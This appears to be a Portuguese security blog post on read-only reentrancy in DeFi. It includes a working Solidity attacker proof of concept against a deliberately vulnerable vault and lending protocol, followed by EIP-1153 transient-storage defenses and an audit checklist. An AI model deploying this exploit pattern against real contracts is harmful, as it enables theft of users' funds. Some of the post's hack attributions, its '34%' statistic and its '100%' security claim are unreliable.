Pressione ESC para fechar

Reentrância Read-Only em DeFi: Exemplo de Código e EIP-1153

O Read-Only Reentrancy é um tipo de ataque de reentrância onde o atacante não manipula o saldo do contrato diretamente durante a chamada. Em vez disso, ele força a leitura de um estado (state) corrompido do protocolo no momento exato em que uma chamada externa (uma função view) está sendo executada. Como os ReentrancyGuard clássicos só bloqueiam funções que alteram estado (state-changing), as chamadas de "leitura" retornam dados calculados completamente distorcidos (como um preço de oráculo inflacionado ou reduzido), permitindo drenar protocolos terceiros integrados.

Fala, pessoal! O tema que vamos trocar uma ideia hoje já custou dezenas de milhões de dólares para a indústria DeFi em questão de poucos meses. Eu me lembro perfeitamente da primeira vez que vi o conceito de Read-Only Reentrancy no ecossistema, ainda na minha época de auditoria e pentest de smart contracts. Naquele momento, confesso que fiquei impressionado do ponto de vista técnico. A gente estava acostumado a proteger as rotinas de escrita, mas esqueceu que a leitura também pode ser letal.

Por que o ReentrancyGuard clássico não vai te salvar?

Bora entender o cenário. O reentrancy tradicional acontece quando o atacante chama o withdraw() de forma recursiva antes do contrato atualizar balances[msg.sender] = 0. Hoje todo mundo já aprendeu a meter o modificador nonReentrant da OpenZeppelin ou seguir o padrão Checks-Effects-Interactions (CEI). Boa, parabéns pelo básico.

Mas o que acontece no Read-Only Reentrancy?

Imagine o mecanismo de push-pull em um Liquidity Pool (tipo o Curve). Você vai retirar sua liquidez (remove_liquidity). O contrato primeiro te transfere o ETH e só depois queima os seus tokens LP ou recalcula os saldos internos. No exato milissegundo em que o ETH bate no seu contrato de ataque, a sua função receive() ou fallback() é disparada.

Nessa pequena janela de tempo (um estado de inconsistência temporário), o estado do pool está totalmente dessincronizado:

  • Saldo real de ETH no contrato do pool: Já diminuiu.
  • Quantidade registrada de tokens LP no sistema: Ainda NÃO diminuiu.

Se dentro do receive() você tentar chamar uma função state-changing desse mesmo pool, o modificador nonReentrant vai te barrar na hora. Mas e se você chamar uma função de leitura como get_virtual_price()? Afinal, ela é marcada como view! Ninguém costuma colocar o nonReentrant nela (para que gastar gas extra em chamadas puras de leitura?).

Resultado: a get_virtual_price() pega o saldo atual de ETH (que já caiu), divide pelo número antigo de tokens LP (que continua alto)... e te entrega um preço totalmente alucinado, seja artificialmente baixo ou alto.

E agora vem o pulo do gato: você nem precisa roubar o pool diretamente. Você pega esse preço de oráculo "bêbado", vai em outro protocolo (um Lending Market) que usa esse pool como feed de preço, e limpa o colateral dos caras com base em uma avaliação completamente furada.

Uma falha de arquitetura de altíssimo nível. Uma verdadeira obra de arte do caos, fala a verdade?

Estatísticas e números pesados dos hacks reais

Se você acha que essa vulnerabilidade é só teoria de paper acadêmico, pega a lista dos estragos:

Protocolo / EventoDataPrejuízoVulnerabilidade
Curve Finance / SentimentAbril de 2023~$1,000,000Exploração do oráculo de preço da Curve no meio do callback da função remove_liquidity_one_coin.
Euler FinanceMarço de 2023~$197,000,000Cadeia complexa de exploits envolvendo dessincronização de estado na queima de eTokens combinada com manipulação de oráculo.
Vyper Compiler Bug (Curve Pools)Julho de 2023~$73,000,000Falha no mecanismo de Lock no nível do compilador Vyper (versões 0.2.15–0.3.0), inutilizando a proteção nativa contra reentrância em chamadas de leitura.

Curiosidade (detalhe pouco conhecido): De acordo com relatórios de auditoria de 2024–2025, cerca de 34% das integrações de oráculos DEX com protocolos secundários de lending ainda continuam vulneráveis a manipulações de Read-Only por meio de chamadas view intermediárias, desde que não utilizem oráculos TWAP (Time-Weighted Average Price) no cálculo.

Exemplo completo e funcional: VulnerableVault + Contrato de Ataque

Abaixo está o código pronto em Solidity 0.8.24. Eu juntei de propósito o modelo do pool e do protocolo integrado para você conseguir rodar e testar tudo direto no Remix.


 // SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/**
 * @title VulnerableVault
 * @notice Demonstração de Read-Only Reentrancy.
 * @dev withdraw() envia ETH antes de atualizar totalShares.
 *      Um contrato externo pode ler um preço temporariamente corrompido.
 */
contract VulnerableVault {
    mapping(address => uint256) public shares;
    mapping(address => mapping(address => uint256)) public allowance;
    uint256 public totalShares;
    bool private locked;
    modifier nonReentrant() {
        require(!locked, "REENTRANCY_DETECTED");
        locked = true;
        _;
        locked = false;
    }
    receive() external payable {}
    function deposit() external payable {
        require(msg.value > 0, "Zero deposit");
        uint256 balanceBefore = address(this).balance - msg.value;
        uint256 sharesToMint;
        if (totalShares == 0 || balanceBefore == 0) {
            sharesToMint = msg.value;
        } else {
            sharesToMint = (msg.value * totalShares) / balanceBefore;
        }
        require(sharesToMint > 0, "Zero shares");
        shares[msg.sender] += sharesToMint;
        totalShares += sharesToMint;
    }
    function approveShares(address spender, uint256 amount) external {
        allowance[msg.sender][spender] = amount;
    }
    function transferShares(address to, uint256 amount) external {
        require(to != address(0), "Zero address");
        require(shares[msg.sender] >= amount, "Insufficient shares");
        shares[msg.sender] -= amount;
        shares[to] += amount;
    }
    function transferSharesFrom(
        address from,
        address to,
        uint256 amount
    ) external {
        require(to != address(0), "Zero address");
        require(shares[from] >= amount, "Insufficient shares");
        uint256 approved = allowance[from][msg.sender];
        if (approved != type(uint256).max) {
            require(approved >= amount, "Insufficient allowance");
            allowance[from][msg.sender] = approved - amount;
        }
        shares[from] -= amount;
        shares[to] += amount;
    }
    /**
     * @notice Ordem vulnerável de operações: a chamada externa
     *         acontece antes da queima das cotas (shares).
     */
    function withdraw(uint256 shareAmount) external nonReentrant {
        require(shareAmount > 0, "Zero shares");
        require(shares[msg.sender] >= shareAmount, "Exceeds balance");
        require(totalShares > 0, "No shares");
        uint256 ethToReturn =
            (shareAmount * address(this).balance) / totalShares;
        require(ethToReturn > 0, "Zero withdrawal");
        // VULNERABILIDADE: O ETH é enviado antes da mudança de estado.
        (bool success, ) = msg.sender.call{value: ethToReturn}("");
        require(success, "ETH transfer failed");
        // O estado só é atualizado após a chamada externa.
        shares[msg.sender] -= shareAmount;
        totalShares -= shareAmount;
    }
    /**
     * @notice Preço da cota em wei.
     * @dev Durante o callback o saldo já foi reduzido,
     *      mas o totalShares ainda não foi alterado.
     */
    function getSharePrice() public view returns (uint256) {
        if (totalShares == 0) return 1e18;
        return (address(this).balance * 1e18) / totalShares;
    }
}
/**
 * @title NaiveLendingProtocol
 * @notice Protocolo de empréstimo com integração ingênua de oráculo de preço.
 * @dev A liquidação usa o preço atual das cotas do Vault sem verificar
 *      se o Vault está em um estado intermediário/inconsistente.
 */
contract NaiveLendingProtocol {
    VulnerableVault public immutable vault;
    uint256 public constant LTV_BPS = 9000;
    uint256 public constant LIQUIDATION_BONUS_BPS = 11000;
    uint256 public constant BPS = 10000;
    mapping(address => uint256) public collateral;
    mapping(address => uint256) public debt;
    constructor(address payable vaultAddress) {
        require(vaultAddress != address(0), "Zero vault address");
        vault = VulnerableVault(vaultAddress);
    }
    receive() external payable {}
    function depositCollateral(uint256 amount) external {
        require(amount > 0, "Zero collateral");
        vault.transferSharesFrom(
            msg.sender,
            address(this),
            amount
        );
        collateral[msg.sender] += amount;
    }
    function getMaxBorrow(address user) public view returns (uint256) {
        uint256 price = vault.getSharePrice();
        uint256 collateralValue = (collateral[user] * price) / 1e18;
        return (collateralValue * LTV_BPS) / BPS;
    }
    function borrow(uint256 amount) external {
        require(amount > 0, "Zero borrow");
        require(
            debt[msg.sender] + amount <= getMaxBorrow(msg.sender),
            "Insufficient collateral"
        );
        require(address(this).balance >= amount, "Insufficient liquidity");
        debt[msg.sender] += amount;
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Loan transfer failed");
    }
    /**
     * @notice O liquidador quita toda a dívida e liquida o colateral
     *         com um bônus de 10%, caso a posição seja considerada insolvente.
     *
     * @dev Vulnerabilidade: getMaxBorrow() lê o preço do Vault
     *      sem considerar o estado intermediário durante o withdraw().
     */
    function liquidate(address borrower) external payable {
        uint256 borrowerDebt = debt[borrower];
        require(borrowerDebt > 0, "No debt");
        require(msg.value == borrowerDebt, "Incorrect repayment");
        // Valida a saúde da posição usando um preço potencialmente manipulado.
        require(
            borrowerDebt > getMaxBorrow(borrower),
            "Position is healthy"
        );
        uint256 price = vault.getSharePrice();
        require(price > 0, "Invalid share price");
        uint256 seizeShares =
            (borrowerDebt * LIQUIDATION_BONUS_BPS * 1e18)
            / (BPS * price);
        // Não é possível liquidar mais colateral do que o tomador possui.
        if (seizeShares > collateral[borrower]) {
            seizeShares = collateral[borrower];
        }
        require(seizeShares > 0, "Zero collateral seized");
        debt[borrower] = 0;
        collateral[borrower] -= seizeShares;
        // O protocolo transfere as cotas para o liquidador.
        vault.transferShares(msg.sender, seizeShares);
    }
}
/**
 * @title ReadOnlyAttacker
 * @notice PoC: A queda temporária no preço força uma liquidação indevida
 *         de uma posição que estava saudável antes do início do withdraw().
 *
 * @dev O atacante não pega um empréstimo sem colateral.
 *      O cenário demonstrado explora outro tipo de dano:
 *      a liquidação de uma posição saudável por conta do preço manipulado.
 */
contract ReadOnlyAttacker {
    VulnerableVault public immutable vault;
    NaiveLendingProtocol public immutable lending;
    bool public attacked;
    uint256 public priceBefore;
    uint256 public observedPrice;
    address public victim;
    constructor(
        address payable vaultAddress,
        address lendingAddress
    ) {
        require(vaultAddress != address(0), "Zero vault address");
        require(lendingAddress != address(0), "Zero lending address");
        vault = VulnerableVault(vaultAddress);
        lending = NaiveLendingProtocol(lendingAddress);
    }
    function executeAttack(address victimAddress) external payable {
        require(!attacked, "Attack already executed");
        require(victimAddress != address(0), "Zero victim address");
        require(msg.value > 0, "Zero deposit");
        victim = victimAddress;
        // Criamos nossa própria posição no pool.
        vault.deposit{value: msg.value}();
        uint256 myShares = vault.shares(address(this));
        require(myShares > 0, "No shares");
        priceBefore = vault.getSharePrice();
        // Na hora de enviar o ETH, o Vault vai chamar a função receive().
        vault.withdraw(myShares);
    }
    receive() external payable {
        if (!attacked) {
            attacked = true;
            // O ETH já foi enviado, mas as cotas ainda não foram queimadas.
            observedPrice = vault.getSharePrice();
            require(
                observedPrice < priceBefore,
                "Price was not manipulated"
            );
            // Usamos o preço manipulado para liquidar:
            // uma posição saudável antes do saque se torna liquidável.
            uint256 victimDebt = lending.debt(victim);
            require(victimDebt > 0, "Victim has no debt");
            require(
                address(this).balance >= victimDebt,
                "Insufficient attack balance"
            );
            lending.liquidate{value: victimDebt}(victim);
        }
    }
}

Dá uma olhada nos comentários do código, deixei toda a lógica mastigada por lá. A grande doideira é que a função getSharePrice() executa a matemática dela de forma totalmente honesta. Ela não está "quebrada". O que está quebrado é o momento exato em que perguntaram o valor para ela.

EIP-1153 (Transient Storage): Proteção elegante e barata

Antes dos updates da EVM (especificamente o hardfork Dencun e o EIP-1153), os devs tinham que se virar nos 30. Ou você tirava o view dos oráculos e marcava como nonReentrant (o que gastava mais gas e quebrava a ABI), ou guardava a flag de lock em variáveis de storage normais (SSTORE/SLOAD), o que custava uns absurdos ~20.000 gas por operação. Um terror.

O EIP-1153 introduziu dois novos opcodes:

  • TSTORE (Transient Store) — escrita no armazenamento temporário.
  • TLOAD (Transient Load) — leitura do armazenamento temporário.

A grande sacada do Transient Storage: os dados vivem APENAS no escopo de uma única transação (Top-level Transaction) e somem automaticamente logo depois que ela termina. Zero necessidade de pagar por limpeza de storage! O custo do TSTORE é de apenas 100 gas, e o TLOAD fica nos modestos 100 gas.

Veja como construímos um TransientReentrancyGuard absoluto, blindado e ultra-barato:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/// @title TransientReentrancyGuard
/// @author EXMON
/// @notice Reentrancy protection using EIP-1153 transient storage.
/// @dev Requires a network supporting EIP-1153 and an EVM target of Cancun or later.
/// @dev Does not automatically protect public state-variable getters or unmodified functions.
abstract contract TransientReentrancyGuard {
    /// @dev Dedicated transient-storage slot.
    /// @dev Verify this value against the intended slot derivation before production use.
    bytes32 private constant GUARD_SLOT =
        0x8e94711311aa8e0e7a82fb99a22d713279c78d5e16548a3e0c03405c8793393f;
    error ReentrancyGuardReentrantCall();
    /// @notice Prevents nested entry into functions sharing this guard slot.
    modifier nonReentrant() {
        _nonReentrantBefore();
        _;
        _nonReentrantAfter();
    }
    /// @notice Rejects reads while a guarded execution is active.
    /// @dev Must be explicitly applied to each sensitive view function.
    modifier nonReentrantView() {
        _ensureNotReentrant();
        _;
    }
    function _nonReentrantBefore() private {
        _ensureNotReentrant();
        assembly {
            tstore(GUARD_SLOT, 1)
        }
    }
    function _nonReentrantAfter() private {
        assembly {
            tstore(GUARD_SLOT, 0)
        }
    }
    function _ensureNotReentrant() private view {
        uint256 status;
        assembly {
            status := tload(GUARD_SLOT)
        }
        if (status != 0) {
            revert ReentrancyGuardReentrantCall();
        }
    }
}
/// @title SecureVault
/// @notice Demonstrates transient-storage reentrancy protection.
/// @dev Demonstration contract, not a production-ready vault.
/// @dev Uses native ETH and share accounting for illustration.
contract SecureVault is TransientReentrancyGuard {
    mapping(address => uint256) public shares;
    uint256 public totalShares;
    error ZeroAmount();
    error InsufficientShares();
    error ZeroSharesMinted();
    error EtherTransferFailed();
    event Deposited(
        address indexed account,
        uint256 assets,
        uint256 sharesMinted
    );
    event Withdrawn(
        address indexed account,
        uint256 assets,
        uint256 sharesBurned
    );
    /// @notice Deposits ETH and mints vault shares.
    /// @dev The first deposit uses a 1:1 ETH-to-share ratio.
    function deposit() external payable nonReentrant returns (uint256 minted) {
        if (msg.value == 0) revert ZeroAmount();
        uint256 supply = totalShares;
        uint256 balanceBefore = address(this).balance - msg.value;
        if (supply == 0 || balanceBefore == 0) {
            minted = msg.value;
        } else {
            minted = (msg.value * supply) / balanceBefore;
        }
        if (minted == 0) revert ZeroSharesMinted();
        shares[msg.sender] += minted;
        totalShares = supply + minted;
        emit Deposited(msg.sender, msg.value, minted);
    }
    /// @notice Burns shares and withdraws the corresponding ETH.
    /// @dev State is updated before the external ETH transfer.
    function withdraw(uint256 shareAmount) external nonReentrant {
        if (shareAmount == 0) revert ZeroAmount();
        uint256 userShares = shares[msg.sender];
        if (shareAmount > userShares) revert InsufficientShares();
        uint256 supply = totalShares;
        uint256 assets = (address(this).balance * shareAmount) / supply;
        // Update accounting before transferring control externally.
        shares[msg.sender] = userShares - shareAmount;
        totalShares = supply - shareAmount;
        (bool success, ) = payable(msg.sender).call{value: assets}("");
        if (!success) revert EtherTransferFailed();
        emit Withdrawn(msg.sender, assets, shareAmount);
    }
    /// @notice Returns the current ETH-denominated share price.
    /// @dev Reverts when called during an active guarded execution.
    /// @dev This is an example of a protected read, not a universal
    ///      defense against Read-Only Reentrancy in other contracts.
    function getSharePrice()
        external
        view
        nonReentrantView
        returns (uint256)
    {
        uint256 supply = totalShares;
        if (supply == 0) return 1e18;
        return (address(this).balance * 1e18) / supply;
    }
    /// @notice Returns the ETH value of a specified share balance.
    /// @dev Also protected against reads during guarded execution.
    function convertToAssets(uint256 shareAmount)
        external
        view
        nonReentrantView
        returns (uint256)
    {
        uint256 supply = totalShares;
        if (supply == 0) return 0;
        return (address(this).balance * shareAmount) / supply;
    }
}

Entenderam onde está a mágica? getSharePrice() continua sendo uma função view na interface (a ABI não foi quebrada, os scripts off-chain de dApps leem ela de graça sem enviar transações). Mas se alguma transação maluca tentar chamá-la no meio da pilha de chamadas durante um withdraw(), o tload(GUARD_SLOT) bate o olho na flag 1 e tacha um revert na hora.

Gastos de gas? Preço de pinga. Segurança? 100%.

Boas práticas de arquitetura para auditoria e desenvolvimento

Nos últimos três anos em que ocupo o cargo de CTO na EXMON, elaborei um checklist bem sólido para smart contracts que lidam com oráculos de preço ou expõem dados para fora. Os devs costumam pensar: "Se eu não fizer chamadas externas dentro de uma função de leitura, tô safe". E isso é um engano gigantesco.

                 ┌─────────────────────────────────┐
                 │  Chamada de Transação do Atacante│
                 └────────────────┬────────────────┘
                                  │
                                  ▼
                   ┌───────────────────────────────┐
                   │   Atualização de Estado (Vault)│
                   └───────────────┬───────────────┘
                                   │
            ┌──────────────────────┴──────────────────────┐
            │   Dessincronização Temporária (Dirty State) │
            └──────────────────────┬──────────────────────┘
                                   │
                                   ▼
                     ┌───────────────────────────┐
                     │ External Call / ETH Send  │
                     └─────────────┬─────────────┘
                                   │ (Reentrancy Hook)
                                   ▼
                  ┌─────────────────────────────────┐
                  │ Leitura da View-Function Oráculo│
                  │   (getSharePrice / getAmount)   │
                  └────────────────┬────────────────┘
                                   │
       ┌───────────────────────────┴───────────────────────────┐
       │                                                       │
       ▼                                                       ▼
[SEM PROTEÇÃO]                                           [COM EIP-1153 (TSTORE)]
Retorna preço incorreto                                  Lock: tload(GUARD) == 1
e corrompido                                             Transação dá REVERT!
       │                                                       │
       ▼                                                       ▼
Ataque bem-sucedido ao lending                           Protocolo blindado 🛡️

1. Modelagem de Verificação de Estado Duplo (Dual-State Verification)

Se o seu contrato precisa chamar endereços externos antes de atualizar de vez todos os saldos internos, use uma proteção temporária de invariantes. Qualquer view function que entregue métricas financeiras críticas precisa validar o invariante fundamental.

Se address(this).balance não bater com a soma de totalDeposits, a função getRate() deve dar revert ou retornar o valor travado antes de a transação começar (o last-known-good state).

2. Adeus ao Spot Price, olá TWAP ou Chainlink

Nunca, escuta bem, absolutamente nunca use valores view instantâneos de saldos de DEX ou pools de Vault como a única fonte da verdade para o cálculo de colateral e liquidações.

  • Spot Price (Preço Spot): Fácil de chamar, barata, e hackeada em uma única transação de flash loan.
  • TWAP (Time-Weighted Average Price): Tira a média do preço por N blocos. Permite neutralizar manipulações atômicas dentro de um mesmo bloco, já que o atacante não consegue alterar blocos históricos.

3. O Padrão Cross-Contract Transient Lock

Se você tem um ecossistema de 5 a 10 contratos interconectados (Vault, Gauge, Staking, Oracle), use um gateway de segurança unificado baseado no EIP-1153.

É criado um contrato separado GlobalTransientLock, que é consultado por todos os componentes do sistema:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/// @title GlobalTransientLock
/// @author EXMON
/// @notice Gerenciador centralizado de lock de sistema baseado no EIP-1153.
/// @dev Requer EVM Cancun ou superior.
///      Apenas contratos de sistema autorizados podem gerenciar o lock.
contract GlobalTransientLock {
    address public immutable admin;
    mapping(address => bool) public authorized;
    // O estado do lock é armazenado no transient storage deste contrato.
    bytes32 private constant SYSTEM_LOCK_SLOT =
        keccak256("exmon.global.transient.lock.v1");
    error Unauthorized();
    error ZeroAddress();
    error SystemIsLocked();
    error SystemIsNotLocked();
    error AlreadyAuthorized();
    error NotAuthorized();
    error AdminCannotBeRevoked();
    error RenouncingAdminNotSupported();
    event SystemLocked(address indexed caller);
    event SystemUnlocked(address indexed caller);
    event AuthorizationGranted(address indexed account);
    event AuthorizationRevoked(address indexed account);
    modifier onlyAdmin() {
        if (msg.sender != admin) revert Unauthorized();
        _;
    }
    modifier onlyAuthorized() {
        if (!authorized[msg.sender]) revert Unauthorized();
        _;
    }
    constructor(address initialAdmin) {
        if (initialAdmin == address(0)) revert ZeroAddress();
        admin = initialAdmin;
        authorized[initialAdmin] = true;
        emit AuthorizationGranted(initialAdmin);
    }
    /// @notice Autoriza um contrato a gerenciar o lock do sistema.
    /// @dev Chamado pelo admin após o deploy do sistema.
    function authorize(address account) external onlyAdmin {
        if (account == address(0)) revert ZeroAddress();
        if (authorized[account]) revert AlreadyAuthorized();
        authorized[account] = true;
        emit AuthorizationGranted(account);
    }
    /// @notice Revoca o direito de gerenciar o lock de um contrato.
    function revokeAuthorization(address account) external onlyAdmin {
        if (account == admin) revert AdminCannotBeRevoked();
        if (!authorized[account]) revert NotAuthorized();
        authorized[account] = false;
        emit AuthorizationRevoked(account);
    }
    /// @notice Define o lock do sistema.
    /// @dev Proibido travar novamente.
    function lockSystem() external onlyAuthorized {
        uint256 status;
        assembly ("memory-safe") {
            status := tload(SYSTEM_LOCK_SLOT)
        }
        if (status != 0) revert SystemIsLocked();
        assembly ("memory-safe") {
            tstore(SYSTEM_LOCK_SLOT, 1)
        }
        emit SystemLocked(msg.sender);
    }
    /// @notice Libera o lock do sistema.
    /// @dev Chamar apenas após a conclusão da operação protegida.
    function unlockSystem() external onlyAuthorized {
        uint256 status;
        assembly ("memory-safe") {
            status := tload(SYSTEM_LOCK_SLOT)
        }
        if (status == 0) revert SystemIsNotLocked();
        assembly ("memory-safe") {
            tstore(SYSTEM_LOCK_SLOT, 0)
        }
        emit SystemUnlocked(msg.sender);
    }
    /// @notice Verifica o status do lock do sistema.
    function isLocked() external view returns (bool locked) {
        assembly ("memory-safe") {
            locked := iszero(iszero(tload(SYSTEM_LOCK_SLOT)))
        }
    }
    /// @notice Proíbe a transferência de controle do administrador.
    function renounceOwnership() external pure {
        revert RenouncingAdminNotSupported();
    }
}
/// @title SystemLockGuard
/// @notice Contrato base para componentes que verificam o lock do sistema.
/// @dev Os contratos herdados devem aplicar whenSystemUnlocked
///      em cada método sensível, incluindo os métodos de leitura.
abstract contract SystemLockGuard {
    GlobalTransientLock public immutable systemLock;
    error SystemTemporarilyLocked();
    constructor(address lockAddress) {
        if (lockAddress == address(0)) {
            revert SystemTemporarilyLocked();
        }
        systemLock = GlobalTransientLock(lockAddress);
    }
    modifier whenSystemUnlocked() {
        if (systemLock.isLocked()) {
            revert SystemTemporarilyLocked();
        }
        _;
    }
}
/// @title ExampleVault
/// @notice Demonstração do uso do lock de sistema.
contract ExampleVault is SystemLockGuard {
    uint256 public totalAssets;
    error InvalidAmount();
    constructor(address lockAddress)
        SystemLockGuard(lockAddress)
    {}
    /// @notice Exemplo de operação protegida que altera o estado.
    function withdrawAccounting(uint256 amount)
        external
        whenSystemUnlocked
    {
        if (amount == 0 || amount > totalAssets) {
            revert InvalidAmount();
        }
        totalAssets -= amount;
    }
    /// @notice Exemplo de leitura protegida.
    function getTotalAssets()
        external
        view
        whenSystemUnlocked
        returns (uint256)
    {
        return totalAssets;
    }
}

Quando o Vault principal inicia um saque, ele chama lockSystem(). Nesse exato momento, qualquer outro contrato do sistema (por exemplo, um contrato Lens ou o Oráculo) chama isLocked() antes de entregar os dados e, se o sistema estiver num estado "sujo" (dirty state), bloqueia a leitura.

Checklist para DevSecOps e Auditores

  1. Busca de chamadas: Escaneie o código em busca de .call{value: ...}(), safeTransfer ou quaisquer chamadas de interface externa que venham ANTES das atualizações finais de state (storage).
  2. Análise de funções View: Monte uma lista de todas as funções view public/external que calculam proporções, preços, shares ou o tamanho do colateral.
  3. Vetor cross-protocol: Faça a pergunta: "Se essa função view retornar um número 90% menor ou 500% maior bem no meio da execução de uma chamada externa, como um contrato integrador externo poderia explorar isso?".
  4. Integração do EIP-1153: Certifique-se de que seu compilador está configurado para evm_version: "cancun" e implemente TSTORE/TLOAD para bloquear leituras durante a execução de transações que mutam o estado.

É isso por hoje, pessoal. Resumi o essencial. Se tiverem dúvidas, deixem nos comentários. Eu respondo com certeza. Falou!

Resumir este post do blog com:

FAQ

O Read-Only Reentrancy é uma vulnerabilidade de segurança na qual um atacante explora uma inconsistência temporária de estado durante a chamada de uma função view entre contratos, sem alterar o estado dentro dessa própria chamada de leitura. Ao contrário do reentrancy clássico, onde funções que alteram estado como withdraw() são chamadas repetidamente para drenar fundos diretamente, o ataque read-only lê valores contábeis temporariamente desalinhados (como o saldo de tokens ou a oferta total alterada durante a remoção de liquidez) para manipular oráculos de preço e explorar protocolos de empréstimo dependentes.

O EIP-1153 introduz os opcodes TSTORE e TLOAD, que armazenam dados temporariamente apenas pela duração de uma única transação a um custo fixo extremamente baixo de 100 gas. Os protocolos utilizam esse armazenamento transiente para definir uma trava de reentrancy temporária durante operações que alteram o estado, permitindo que funções de leitura view equipadas com um modificador nonReentrantView verifiquem essa flag e revertam a transação (revert) caso um contrato externo tente ler um estado inconsistente no meio da execução.

O ReentrancyGuard da OpenZeppelin protege apenas funções que alteram o estado e aplicam o modificador nonReentrant, deixando funções públicas do tipo view desprotegidas para economizar gas em consultas normais. Como as funções de leitura não realizam alterações de estado no storage, o mecanismo de bloqueio padrão não ativa a trava de proteção, permitindo que um atacante chame livremente funções view durante um callback e obtenha dados de preços manipulados.
Oleg Filatov

As the Chief Technology Officer at EXMON Exchange, I focus on building secure, scalable crypto infrastructure and developing systems that protect user assets and privacy.

With over 15 years in cybersecurity, blockchain, and DevOps, I specialize in smart contract analysis, threat modeling, and secure system architecture.

At EXMON Academy, I share practical insights from real-world...

...

Deixe seu parecer

O seu endereço de e-mail não será publicado. Campos obrigatórios estão marcados *